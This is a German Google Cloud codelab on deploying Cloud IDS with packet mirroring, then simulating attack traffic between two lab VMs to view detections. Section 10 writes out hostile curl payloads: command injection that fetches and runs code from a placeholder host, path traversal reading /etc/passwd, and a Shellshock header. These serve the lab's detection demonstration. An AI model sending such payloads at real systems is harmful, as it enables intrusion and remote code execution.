1. Einführung
In diesem Lab stellen Sie Cloud IDS bereit, einen erweiterten Einbruchserkennungsdienst der nächsten Generation, der Bedrohungserkennung bei Einbrüchen, Malware, Spyware und Command-and-Control-Angriffen bietet. Sie simulieren mehrere Angriffe und sehen sich die Bedrohungsdetails in der Cloud Console an.
Aufgaben in diesem Lab
- Cloud IDS-Endpunkt erstellen
- Zwei virtuelle Maschinen mit gcloud-Befehlen erstellen
- Paketspiegelungsrichtlinie erstellen
- So simulieren Sie Angriffstraffic von einer virtuellen Maschine
- Informationen zu Bedrohungen in der Cloud Console und in Cloud Logging ansehen
Voraussetzungen
- Kenntnisse der grundlegenden Linux-Befehle
2. Cloud IDS – Anwendungsfälle
Cloud IDS bietet einen Google Cloud-nativen Next-Gen Intrusion Detection Service (IDS) für Kunden, um ihre erweiterten Bedrohungserkennungs- und Compliance-Anforderungen wie PCI 11.4 zu erfüllen. Der Dienst basiert auf den Bedrohungsschutztechnologien von Palo Alto Networks und ermöglicht eine erweiterte Einbruchserkennung. Durch die Kombination der erstklassigen Infrastruktur von Google Cloud mit der erstklassigen Sicherheit von Palo Alto Networks erhalten Kunden eine unübertroffene Kombination aus einem vollständig verwalteten, hochleistungsfähigen und hocheffizienten erweiterten Bedrohungserkennungsdienst.
Bei der Migration in die Cloud steht Sicherheit an erster Stelle. Das Unternehmen wünscht sich ähnliche Sicherheitskontrollen wie vor Ort, z. B. den Intrusion Detection Service (IDS) in der Cloud. Im Vergleich zur Bereitstellung einer Sicherheitslösung eines Drittanbieters und zur Verwaltung der Infrastruktur oder der Verwendung eigener Signaturen bevorzugen sie im Hinblick auf eine einfache Bereitstellung, hohe Leistung und optimierte Kosten eine cloudnative, verwaltete IDS-Lösung. Google Cloud IDS bietet einen verwalteten IDS-Dienst mit End-to-End-Lösung und Autoscaling, mit dem Kunden ihre Zeit damit verbringen können, Bedrohungen zu analysieren und zu mindern. Außerdem haben sie mehr Zeit und Ressourcen für die Verwaltung der Infrastruktur oder der Bedrohungssignaturen.
Cloud IDS wird Out-of-Band bereitgestellt und kann Bedrohungen erkennen und melden, jedoch keine Bedrohungen blockieren. Dabei wird mithilfe der Paketspiegelung von Google Cloud eine Kopie des Netzwerktraffics erstellt, der mit der Bedrohungserkennungs-Engine des Palo Alto Network analysiert wird.
3. Codelab-Topologie
Abbildung 1. Allgemeine Architekturübersicht über die Cloud IDS-Bereitstellung für dieses Lab
4. Einrichtung und Anforderungen
Umgebung für das selbstbestimmte Lernen einrichten
- Melden Sie sich in der Google Cloud Console an und erstellen Sie ein neues Projekt oder verwenden Sie ein vorhandenes Projekt. Wenn Sie noch kein Gmail- oder Google Workspace-Konto haben, müssen Sie eines erstellen.
- Der Projektname ist der Anzeigename für die Projektteilnehmer. Es handelt sich um eine Zeichenfolge, die von Google APIs nicht verwendet wird und jederzeit aktualisiert werden kann.
- Die Projekt-ID muss für alle Google Cloud-Projekte eindeutig sein und ist unveränderlich. Sie kann nach dem Festlegen nicht mehr geändert werden. Die Cloud Console generiert automatisch einen eindeutigen String. ist Ihnen meist egal, was es ist. In den meisten Codelabs musst du auf die Projekt-ID verweisen, die in der Regel als
PROJECT_ID
identifiziert wird. Wenn es dir nicht gefällt, kannst du eine weitere zufällige Projekt-ID generieren. Du kannst aber auch selbst eine andere testen, um zu sehen, ob sie verfügbar ist. Dann ist es „eingefroren“ nachdem das Projekt erstellt wurde. - Es gibt einen dritten Wert, die Projektnummer, die von einigen APIs verwendet wird. Weitere Informationen zu allen drei Werten finden Sie in der Dokumentation.
- Als Nächstes müssen Sie in der Cloud Console die Abrechnung aktivieren, um Cloud-Ressourcen/APIs verwenden zu können. Dieses Codelab sollte ohne großen Aufwand betrieben werden. Wenn Sie Ressourcen beenden möchten, damit über diese Anleitung hinaus keine Kosten anfallen, führen Sie eine Bereinigung durch am Ende des Codelabs. Neue Google Cloud-Nutzer haben Anspruch auf eine kostenlose Testversion von 300$.
Cloud Shell starten
Sie können Google Cloud zwar von Ihrem Laptop aus aus der Ferne bedienen, in diesem Codelab verwenden Sie jedoch Google Cloud Shell, eine Befehlszeilenumgebung, die in der Cloud ausgeführt wird.
Klicken Sie in der GCP Console oben rechts in der Symbolleiste auf das Cloud Shell-Symbol:
Die Bereitstellung und Verbindung mit der Umgebung dauert nur einen Moment. Wenn er abgeschlossen ist, sollten Sie in etwa Folgendes sehen:
Diese virtuelle Maschine verfügt über sämtliche Entwicklertools, die Sie benötigen. Es bietet ein Basisverzeichnis mit 5 GB nichtflüchtigem Speicher und läuft auf Google Cloud, wodurch die Netzwerkleistung und Authentifizierung erheblich verbessert werden. Sie können alle Aufgaben in diesem Lab ganz einfach in einem Browser erledigen.
5. Hinweis
APIs aktivieren
Prüfen Sie in Cloud Shell, ob Ihre Projekt-ID eingerichtet ist
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Alle erforderlichen Dienste aktivieren
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. VPC-Netzwerk erstellen
VPC-Netzwerk
Aus Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subnetz
Aus Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Privater Dienstzugriff
Aus Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Dienstverbindung
Aus Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Firewallregeln
Damit IAP eine Verbindung zu Ihren VM-Instanzen herstellen kann, müssen Sie eine Firewallregel erstellen, die:
- Gilt für alle VM-Instanzen, die mit IAP zugänglich sein sollen.
- Lässt eingehenden Traffic aus dem IP-Bereich 35.235.240.0/20 zu. Dieser Bereich enthält alle IP-Adressen, die IAP für die TCP-Weiterleitung verwendet.
Aus Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
So lassen Sie den Standard-HTTP-Port (TCP 80) und das ICMP-Protokoll zum Server zu:
- Gilt für Ressourcen mit dem Netzwerktag „server“
- Lässt eingehenden Traffic von allen Quellen zu
Aus Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT-Instanz erstellen
Cloud Router
Aus Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Aus Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Cloud IDS-Endpunkt erstellen
In diesem Abschnitt erstellen Sie einen Cloud IDS-Endpunkt in "us-east1" mit einem Schweregrad, der auf "Informativ" gesetzt ist. Das Erstellen des IDS-Endpunkts dauert etwa 20 Minuten.
IDS-Endpunkt
Aus Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Prüfen, ob der Cloud IDS-Endpunkt initiiert wurde
gcloud ids endpoints list --project=$PROJECT_ID
Ausgabe –
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Zwei virtuelle Maschinen erstellen
In diesem Abschnitt erstellen Sie zwei virtuelle Maschinen. Der erste ist der Webserver, der in Cloud IDS gespiegelt wird. Die zweite virtuelle Maschine ist Ihre Zugriffsquelle für Angriffe.
Virtuelle Maschine 1 (Server)
Aus Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Virtuelle Maschine 2 (Client)
Aus Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Server wird vorbereitet
In dieser Aufgabe validieren Sie Ihren Server und stellen eine harmlose Malware-Nutzlast für Ihren Client bereit.
SSH-Verbindung zur VM über Cloud Shell herstellen
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Ausführung des Webdienstes prüfen
sudo systemctl status nginx
Ausgabe – Überprüfen, ob aktiv ist und ausgeführt wird
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Verzeichnis in Webdienst ändern
cd /var/www/html/
Datei mit harmloser Malware auf dem Webserver erstellen
sudo touch eicar.file
Inhalt einfügen
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Zurück zu Cloud Shell
exit
Cloud IDS-Paketspiegelungsrichtlinie erstellen
Identifizieren Sie die Weiterleitungsregel des IDS-Endpunkts und bestätigen Sie, dass der Status des IDS-Endpunkts „READY“ lautet.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Beispielausgabe: Kopieren Sie den Wert aus „endpointWeiterleitungRule“
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Speichern Sie die IDS-Endpunktweiterleitungsregel in einer Variablen.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Paketspiegelungsrichtlinie
Aus Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Prüfen, ob die Paketspiegelungsrichtlinie erstellt wurde
Aus Cloud Shell
gcloud compute packet-mirrorings list
Ausgabe
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Angriffstraffic simulieren
Stellen Sie eine SSH-Verbindung zur virtuellen Maschine des Angreifers (Client) her
Aus Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Führen Sie die folgenden curl-Anfragen aus, um schädlichen Traffic zu simulieren.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
VM beenden, um zu Cloud Shell zurückzukehren
exit
11. Von Cloud IDS erkannte Bedrohungen prüfen
Cloud IDS-Dashboard aufrufen
Navigationsmenü > Netzwerksicherheit > Cloud IDS
Rufen Sie den Tab „Bedrohungen“ auf.
Wie Sie sehen, hat Cloud IDS verschiedene Angriffs-Traffic-Profile erfasst und die Details zu jeder Bedrohung bereitgestellt. Möglicherweise müssen Sie auf „Aktualisieren“ wenn keine Bedrohungen angezeigt werden. Jetzt werden wir uns näher mit den Details der Bedrohung befassen.
Ermitteln Sie die Sicherheitslücke bei der Bash Remote Code Execution und klicken Sie rechts auf das Dreipunkt-Menü und wählen Sie „Details zur Bedrohung ansehen“ aus.
Jetzt sehen wir uns die Details dieses Vorfalls in Cloud Logging an. Klicken Sie auf den Linkspfeil , um zur Seite mit den Bedrohungen zurückzukehren .
Klicken Sie rechts auf das Dreipunkt-Menü und wählen Sie „Bedrohungslogs ansehen“ aus.
Dieselben Details werden auch für Cloud Logging bereitgestellt. So können Sie die Logs an Cloud Storage, Chronicle oder ein beliebiges SIEM-/SOAR-Tool senden. Sie können auch benutzerdefinierte Workflows erstellen, um basierend auf Benachrichtigungen Abhilfemaßnahmen zu ergreifen, z.B. Erstellen einer Cloud Functions-Funktion, die durch eine Benachrichtigung ausgelöst wird, und Erstellen/Aktualisieren einer Firewallregel zum Blockieren der IP-Adresse oder Erstellen/Aktualisieren einer Cloud Armor-Richtlinie.
12. Bereinigungsschritte
VM-Instanz beenden (alle Tabs)
exit
Löschen Sie die Lab-Komponenten in einem einzelnen Cloud Shell-Terminal.
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Glückwunsch!
Herzlichen Glückwunsch zum Abschluss des Codelabs.
Behandelte Themen
- Cloud IDS – Anwendungsfälle
- Netzwerkanforderungen
- Unterstützte APIs
- Cloud IDS-Endpunkt erstellt
- 2 VMs bereitgestellt
- Hat einen „Angriff“ verursacht Traffic vom Client
- IDS hat verifizierte Bedrohungen erkannt
- Details und Logs zu Bedrohungen prüfen